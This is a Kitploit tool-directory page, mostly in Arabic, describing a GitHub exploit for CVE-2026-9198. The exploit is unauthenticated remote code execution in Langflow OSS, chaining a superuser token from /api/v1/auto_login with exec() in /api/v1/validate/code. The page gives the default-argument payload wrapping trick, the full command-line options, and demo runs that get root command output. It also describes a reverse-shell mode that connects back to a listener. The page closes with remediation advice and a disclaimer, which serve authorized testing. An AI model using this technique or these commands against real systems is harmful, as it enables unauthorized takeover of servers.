Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-9198_exploit — استغلال لـ CVE-2026-9198، يحتوي على حمولات إثبات المفهوم وخطوات التحقق لتقييم الثغرة في البيئات المستهدفة. | Kitploit
أدوات/GitHubGitHub/chessalekin/cve-2026-9198_exploit
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراق
GitHubchessalekin/cve-2026-9198_exploit

cve-2026-9198_exploit

استغلال لـ CVE-2026-9198، يحتوي على حمولات إثبات المفهوم وخطوات التحقق لتقييم الثغرة في البيئات المستهدفة.

عرض المستودع
22منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-9198 — تنفيذ تعليمات برمجية عن بُعد دون مصادقة في Langflow OSS

تنفيذ تعليمات برمجية عن بُعد دون مصادقة في IBM Langflow OSS (1.0.0 – 1.10.0) على نشر افتراضي. يربط بين ثغرتين:

  • CVE-2026-9103 — يقوم GET /api/v1/auto_login بإصدار رمز JWT بصلاحية SUPERUSER لأي مُستدعٍ دون بيانات اعتماد متى كان AUTO_LOGIN مُفعّلًا (وهو الافتراضي في Langflow < 1.5).
  • CVE-2026-8481 — يمرّر POST /api/v1/validate/code شيفرة Python مُقدَّمة من المستخدم إلى exec() دون أي عزل (sandbox).

معًا (CVE-2026-9198) يحصل المهاجم غير المُصادَق على تنفيذ تعليمات برمجية بصفة مستخدم خدمة Langflow — والذي غالبًا ما يكون root.

ما الذي يفعله

  1. يطلب رمز حامل (bearer token) بصلاحية superuser من /api/v1/auto_login (دون مصادقة).

  2. يُرسل حمولة (payload) إلى /api/v1/validate/code. تقوم نقطة النهاية بتنفيذ الشيفرة عبر exec() «للتحقق» منها؛ ويقيّم Python قيم الوسائط الافتراضية وقت التعريف، لذا تُغلَّف الحمولة داخل وسيط افتراضي لدالة:

    def _v(a=exec('<payload>')): pass
    

    لتنفيذ الأوامر، تُطلق الحمولة استثناءً تكون رسالته هي مخرجات الأمر، والتي تعكسها نقطة النهاية في الاستجابة (function.errors[]).

الاستخدام

./exploit.py -t <target> [options]

  -t, --target     target host/IP (or full URL)          (required)
  -p, --port       Langflow port                          (default 7860)
  -c, --cmd        run a single shell command, print output
      --shell      interactive pseudo-shell (each line runs via the RCE)
      --lhost      reverse-shell listener IP
      --lport      reverse-shell listener port            (default 4444)
  -k, --token      use this bearer token (skip auto_login)
      --timeout    HTTP timeout in seconds                (default 20)
      --no-banner  suppress the banner
  -h, --help       show help

عرض توضيحي

$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

المتطلبات

  • Python 3.6+ (المكتبة القياسية فقط — لا حاجة إلى pip install)

ملاحظات

  • يعمل فقط ما دام AUTO_LOGIN مُفعّلًا (وهو الافتراضي في Langflow < 1.5؛ أما على >= 1.5 فيجب أن يكون صراحةً LANGFLOW_AUTO_LOGIN=true). إذا لم يُعِد auto_login أي رمز، فالهدف غير قابل للاستغلال عبر هذا المسار — مرّر رمزًا صالحًا باستخدام -k إن كان لديك واحد.
  • تُعاد مخرجات الأمر في الاستجابة ضمن function.errors[]؛ ويُدمَج stderr في stdout بحيث تُظهر الأوامر الفاشلة خطأها أيضًا.
  • تعمل الشيفرة بصفة مستخدم خدمة Langflow. إذا كان ذلك المستخدم هو root (وهو شائع مع تشغيل langflow run مباشرةً تحت systemd/Docker بصفة root)، فهذا يعني صلاحية root مباشرةً على المضيف.

المعالجة

  • قم بترقية Langflow إلى ما بعد النطاق المتأثر؛ يجب ألا ينفّذ validate/code مدخلات غير موثوقة عبر exec()، ويجب ألا يُصدر auto_login رموز superuser.
  • اضبط LANGFLOW_AUTO_LOGIN=false وقم بتهيئة بيانات اعتماد superuser حقيقية.
  • لا تشغّل خدمة Langflow بصفة root أبدًا.

إخلاء المسؤولية

يُنشر هذا المشروع لأغراض الاختبار الأمني المصرّح به والأغراض التعليمية فقط. لا تستخدمه ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا باختبارها. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة